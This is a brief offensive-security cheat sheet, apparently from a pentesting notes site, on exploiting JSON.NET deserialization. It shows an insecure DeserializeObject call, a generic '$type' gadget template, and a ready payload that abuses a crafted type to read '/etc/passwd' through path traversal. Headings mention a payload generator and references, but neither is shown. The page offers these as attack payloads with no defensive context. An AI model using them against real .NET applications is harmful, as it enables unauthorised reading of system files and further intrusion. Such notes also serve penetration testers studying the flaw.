JSON.NET Deserialization
Investigation
json = JsonConvert.DeserializeObject<Example>(json);Exploitation
{
"$type": "<namespace>.<class>, <assembly>",
"<method_name>": "<attribute>"
}LFI
{
"$type": "Example.File, example",
"ReadFile": "../../../../etc/passwd"
}Deserialization Payload Generator
References
Last updated